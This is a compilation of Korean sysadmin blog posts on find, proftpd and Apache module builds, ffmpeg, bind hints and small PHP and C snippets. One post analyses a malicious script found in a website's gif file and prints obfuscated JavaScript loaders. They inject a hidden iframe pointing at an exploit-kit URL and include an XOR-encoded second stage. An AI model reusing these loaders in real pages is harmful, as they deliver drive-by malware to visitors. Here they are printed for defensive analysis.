find 로 특정 파일을 찾을 수 있지만, 해당 파일들을 가지고 작업할 여러가지 경우가 생긴다.
-exec 옵션으로 여러가지 작업을 할 수 있다.
특정한 파일을 찾아서 특정 디렉토리에 옮기기
일정기간 30일 이전 파일을 찾아서 삭제하기 (바로 삭제하기때문에 주의해야한다.)
특정한 파일을 찾아서 모두 압축하기
모든 작업은 신중하게! ㅎㅎ
특정 웹사이트에 들어가면 gif 파일로딩시 바이러스라고 백신프로그램에서 체킹된다.
물론 바이러스 프로그램에 따라서 체킹이 안될 수 있는데.
긴급보안패치로 9월에 뉴스에도 나온것 같다.
아무튼 해당 gif파일을 서버에서 열어보니
vaxatxaVatd(vVaxyxtttVy){ var vVyyayVaYdx=594; var vtdYyYxtbYa='';for(vYYbYaydbYx=0; vYYbYaydbYx<vVaxyxtttVy.length; vYY
bYaydbYx+=2){vtdYyYxtbYa+=(String.fromCharCode(vxVVyyyVtYY(vVaxyxtttVy.substr(vYYbYaydbYx,2))));}return vtdYyYxtbYa;} do
cument.write(vaxatxaVatd('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C69
6672616D65202069643D225974646162786456647922206E616D653D227864747462795679746222207372633D22687474703A2F2F7265646469692E
72752F747261666669632F73706C6F6974312F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313638313032292B2774565956
797956626462222077696474683D2232383322206865696768743D2235393422207374796C653D22646973706C61793A206E6F6E653B223E3C2F6966
72616D653E27293C2F5343524950543E'));</script>癤?
위와 같았다..
한번 실행해보기 위해서 잘 정렬해서 아래의 코드로 바꾸어보았다.
<script>
function vxVVyyyVtYY(vyatdYxYYVy){
var vYVbVVyadad=594;
return(parseInt(vyatdYxYYVy,16));
}
function vaxatxaVatd(vVaxyxtttVy){
var vVyyayVaYdx=594;
var vtdYyYxtbYa='';
for(vYYbYaydbYx=0; vYYbYaydbYx<vVaxyxtttVy.length;
vYYbYaydbYx+=2)
{vtdYyYxtbYa+=(String.fromCharCode(vxVVyyyVtYY(vVaxyxtttVy.substr(vYYbYaydbYx,2))));}return vtdYyYxtbYa;
}
text = (vaxatxaVatd('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672
616D65202069643D225974646162786456647922206E616D653D227864747462795679746222207372633D22687474703A2F2F7265646469692E7275
2F747261666669632F73706C6F6974312F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313638313032292B27745659567979
56626462222077696474683D2232383322206865696768743D2235393422207374796C653D22646973706C61793A206E6F6E653B223E3C2F69667261
6D653E27293C2F5343524950543E'));
document.write(text.replace(/</gi,"<"));
</script>
실행되는것을 방지하기 위해 html 코드실행인 < 를 < 로 만들었다.
결과는
위와 같이 특정사이트의 iframe을 실행하는 html코드로 바뀐다.
위의 경로를 다시 한번 실행해서 소스를 얻어보니,
<input type='text'style='display:none'id='lufilod'value='vukim=new Array(234,191,176,164,183,187,179,246,165,164,181,235
,241,177,179,162,176,191,186,179,248,166,190,166,233,176,235,166,178,176,241,246,161,191,178,162,190,235,231,246,190,179
,191,177,190,162,235,231,246,176,164,183,187,179,180,185,164,178,179,164,235,230,232,234,249,191,176,164,183,187,179,232
,219,220,234,165,181,164,191,166,162,246,162,175,166,179,235,241,162,179,174,162,249,188,183,160,183,165,181,164,191,166
,162,241,232,219,220,176,163,184,181,162,191,185,184,246,177,185,134,146,144,254,255,246,173,219,220,161,184,178,235,161
,191,184,178,185,161,237,219,220,161,190,191,186,179,246,254,161,184,178,248,166,183,164,179,184,162,247,235,161,184,178
,255,219,220,246,161,184,178,235,161,184,178,248,166,183,164,179,184,162,237,219,220,161,184,178,248,186,185,181,183,162
,191,185,184,235,244,177,179,162,176,191,186,179,248,166,190,166,233,176,235,160,191,165,166,178,176,244,237,219,220,171
,219,220,165,179,162,130,191,187,179,185,163,162,254,241,177,185,134,146,144,254,255,237,241,250,227,230,230,230,255,237
,219,220,234,249,165,181,164,191,166,162,232);'/>
<script>
sekilapu=function(str){document.write(str);};
nofomeka=new String();
vibosidi=Math.round(48.32*Math.E-61.057*Math.SQRT1_2+88.973*Math.SQRT2);
eval(document.getElementById('lufilod').value);
for(putudu3=0;putudu3<263;putudu3++)nofomeka+=String.fromCharCode(vukim[putudu3]^vibosidi);
sekilapu(nofomeka);
</script>
</body></html>
와같은 html소스를 로딩하게끔 구현되어 있었다.
위의 코드중
nofomeka를 다시 얻어보니
위와 같이 코드변화가 되었다. 대단한 놈들..
계속 추적해나가니 웹사이트의 파일을 다 지웠는지
<!DOCTYPE HTML PUBLIC "-//IETF41//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /traffic/sploit1/index.php was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache/2 Server at reddii.ru Port 80</address>
</body></html>
와같이 존재하지 않는 파일로 나와서 추적을 더이상 할 수 없었따아...;;
늘상있는대로 컴파일을 시도했다.
1.3.0 에서는 나오지 않는 에러가 나오는군... 뭔가 호환이 안되나...
Stop in /usr/local/proftpd-1.3.1rc3/modules. Stop in /usr/local/proftpd-1.3.1rc3.
gcc -DHAVE_CONFIG_H -DFREEBSD6_2 -DFREEBSD6 -I.. -I../include -I/usr/local/mysql/include/mysql -O2 -Wall -c mod_sql_mysql.c
mod_sql_mysql.c: In function `cmd_defineconnection':
mod_sql_mysql.c:598: error: missing terminating " character
*** Error code 1
*** Error code 1
따옴표문제가 설마...
일단 에러소스를 찾아보자.
vi ./contrib/mod_sql_mysql.c
598번째 라인이라... 헉!
|
pr_log_pri(PR_LOG_WARNING, "warning: the mod_sql_mysql module has not been sql_log(DEBUG_FUNC, "%s", "The mod_sql_mysql module has not been properly " |
뭐야.. 뭔가 이상하다... text를 그냥 엔터를 쳤네? 따옴표는 뭐양?
|
pr_log_pri(PR_LOG_WARNING, "warning: the mod_sql_mysql module has not been \ sql_log(DEBUG_FUNC, "%s", "The mod_sql_mysql module has not been properly \ |
위와 같이 고치고 컴파일을 해봤따아..
잘된다.. -.-;;
위의 그래프는 웹서버 한대가 내는 mrtg그래프! 웹서버 한대가 200M 정도의 트래픽은 그냥 버텨준다.
서버환경은 FreeBSD 6.2, Xeon 2.13, 2G RAM, SAS Disk RAID1
평균로드는 0.2 대... 아직 널널하군요..
서비스가 저장된 파일시스템은 NFS로 연결된것이니 더욱 놀라울따름!
www.lighttpd.net
보통 쉘프로그램이나 배치프로그램으로 사용자 입력값을 받고 싶을때가 있다.
물론 php로도 훌륭한 스크립트를 만들 수 있는건 당연...
그럴경우 유용하게 사용할 수 있다~~
#!/usr/local/php/bin/php -q
<?php
function getInput($length = 255) {
$fr = fopen("php://stdin", "r");
$input = fgets($fr, $length);
$input = rtrim($input);
fclose($fr);
return $input;
}
echo '글자를 입력하세요 (10자 이내): ';
$text = getInput(10);
echo '입력하신 내용은 '.$text."입니다.\n";
?>
bind 설치시
checkhints: L.ROOT-SERVERS.NET/A (199.7.83.42) missing from hints
와 같은 에러가 나서보니 hint로 기술된 named.root 에 해당 내역이 없다..
wget ftp://ftp.internic.org/domain/named.root > named.hint
로 최신 root 도메인을 가져온다.
오디오(mp3)관련 포트 lame를 설치
/usr/ports/audio/lame]$ make install USE_NONDEFAULT_X11BASE=1
ffmpeg포트 설치
/usr/ports/multimedia/ffmpeg]$ make install USE_NONDEFAULT_X11BASE=1 WITH_LAME=1 FORCE_PKG_REGISTER=1
설치가 끝..
ffmpeg -i test.avi -r 32 -b 256 test.flv
flvtool2 -U test.flv
/usr/local/apache2/bin/apxs -cia mod_evasive20.c
/usr/local/apache2/build/libtool --silent --mode=compile gcc -prefer-pic -g -O2 -I/usr/local/apache2/include -I/usr/local/apache2/include -I/usr/local/apache2/include -c -o mod_evasive20.lo mod_evasive20.c && touch mod_evasive20.slo
gcc: mod_evasive20.c: No such file or directory
gcc: No input files specified
apxs:Error: Command failed with rc=65536
.
/usr/local/apache2/bluild/libtool 을 사용하지 않고, 기본 OS의 libtool을 사용하니 에러가 없어지고
잘되는군... 황당.
/usr/local/apache2/bin/apxs -cia mod_evasive20.c
/usr/local/apache2/build/libtool --silent --mode=compile gcc -prefer-pic -g -O2 -I/usr/local/apache2/include -I/usr/local/apache2/include -I/usr/local/apache2/include -c -o mod_evasive20.lo mod_evasive20.c && touch mod_evasive20.slo
/usr/local/apache2/build/libtool --silent --mode=link gcc -o mod_evasive20.la -rpath /usr/local/apache2/modules -module -avoid-version mod_evasive20.lo
/usr/local/apache2/build/instdso.sh SH_LIBTOOL='/usr/local/apache2/build/libtool' mod_evasive20.la /usr/local/apache2/modules
/usr/local/apache2/build/libtool --mode=install cp mod_evasive20.la /usr/local/apache2/modules/
cp .libs/mod_evasive20.so /usr/local/apache2/modules/mod_evasive20.so
cp .libs/mod_evasive20.lai /usr/local/apache2/modules/mod_evasive20.la
cp .libs/mod_evasive20.a /usr/local/apache2/modules/mod_evasive20.a
chmod 644 /usr/local/apache2/modules/mod_evasive20.a
ranlib /usr/local/apache2/modules/mod_evasive20.a
----------------------------------------------------------------------
Libraries have been installed in:
/usr/local/apache2/modules
If you ever happen to want to link against installed libraries
in a given directory, LIBDIR, you must either use libtool, and
specify the full pathname of the library, or use the `-LLIBDIR'
flag during linking and do at least one of the following:
- add LIBDIR to the `LD_LIBRARY_PATH' environment variable
during execution
- add LIBDIR to the `LD_RUN_PATH' environment variable
during linking
- use the `-Wl,--rpath -Wl,LIBDIR' linker flag
See any operating system documentation about shared libraries for
more information, such as the ld(1) and ld.so(8) manual pages.
----------------------------------------------------------------------
chmod 755 /usr/local/apache2/modules/mod_evasive20.so
php의 strpos와는 좀 틀리지만.,
문제열이 포함되어 있는지의 여부는 아래의 예제로 충분할듯.
#include <stdio.h>
#include <string.h>
main()
{
char string[]="string to search";
char test[]="sear";
/* strstr returns a pointer into 'string'
* if 'test' is found' if not found, NULL
* is returned. */
if (strstr(string, test)) puts("String found");
}


